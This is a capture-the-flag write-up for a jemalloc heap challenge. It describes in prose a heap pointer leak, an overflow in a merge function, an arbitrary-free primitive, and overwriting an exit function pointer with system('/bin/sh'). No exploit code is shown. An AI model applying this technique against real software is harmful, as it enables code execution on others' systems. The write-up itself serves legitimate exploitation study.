Ancient House
At first glance this was a regular heap exploitation challenge, but instead of ptmalloc it uses jemalloc as the memory allocator.
Last updated
At first glance this was a regular heap exploitation challenge, but instead of ptmalloc it uses jemalloc as the memory allocator.
Last updated
The program allows us to add enemies, battle them, merge two enemies into one or exit.
The enemies are added in structures as below:
The first qword is a pointer to the name of the enemy, which is user controlled data. The 2 dwords after the name pointer are the index of the enemy in the list and their health, respectively. Finally, the last qword is the size of the name region. So each enemy allocates two regions, one with 18 bytes and one with user controlled size. If you are unfamiliar with jemalloc (like I was before this challenge), this references might help:
jemallocAll the regions containing the enemies metadata (name pointer, health, etc.) are allocated in the 0x20's run, which is where 0x18 and 0x20 sized allocations go. Because allocations of the same size are allocated contiguously, if we get to allocate a region with 0x18 or 0x20 size, we'll be able to allocate controlled data regions next to the metadata regions.
If we allocate an enemy with a name that has 0x20 bytes, its data will fall right below its metadata, and above the metadata of any next enemies.
Because of how strings are stored in memory and since the name regions are not nullbyte terminated, if we allocate a name region right above a metadata region, printf will concatenate the name pointer of the next region as part of the string, and that's how we get the heap base.
If we battle the enemy with id 0, the printf with its name will be called and the pointer below it will be leaked.
If we get to control the name pointer of one of the metadata regions we can potentially get an arbitrary free primitive. There is a function pointer allocated in the heap that is called when we try to exit the program:
If we somehow manage to allocate a name region above a metadata region and overflow its buffer, we would potentially take over a name pointer.
The following step really got me for a while, huge thanks n0ps13d, for shining some light on it for me:
This function is called upon a merge. The program concatenates both of the enemies names to a new buffer with the size = size of the first name + size of the second name. Merge only works for enemies with names of the same size, so we can abstract that new size = 2*size , which is exactly what happens when the new name region is realloc'd as seen below:
The problem is that when it copies both names to the new region it starts iterating from 0 all the way up to 2*size instead of starting from the size of the name, which means it will copy 3*size bytes, instead of 2*size. This means that, if I add two enemies of size 0x10 and then merge them, the resulting region will be of size 0x20 bytes, but it will copy 0x30 bytes to it, meaning we can overflow the new region and overwrite the later 2 qwords.
Finally, all comes down to creating a hole in between 2 metadata regions where a 0x20 name region could fit in, create that new 0x20 region by merging 2 0x10 enemies. That way we would get something like the following layout:
If we put it all together, we can use our overflow to corrupt a name pointer so we can free the 0x50 region containing the function pointer and get a new allocation there, overwriting the function pointer with another controlled function pointer which will be called just before the program exits. The system function was conveniently used by the program so it's available on the procedure linkage table, so we could overwrite the exit function pointer with system@plt + *"/bin/sh".
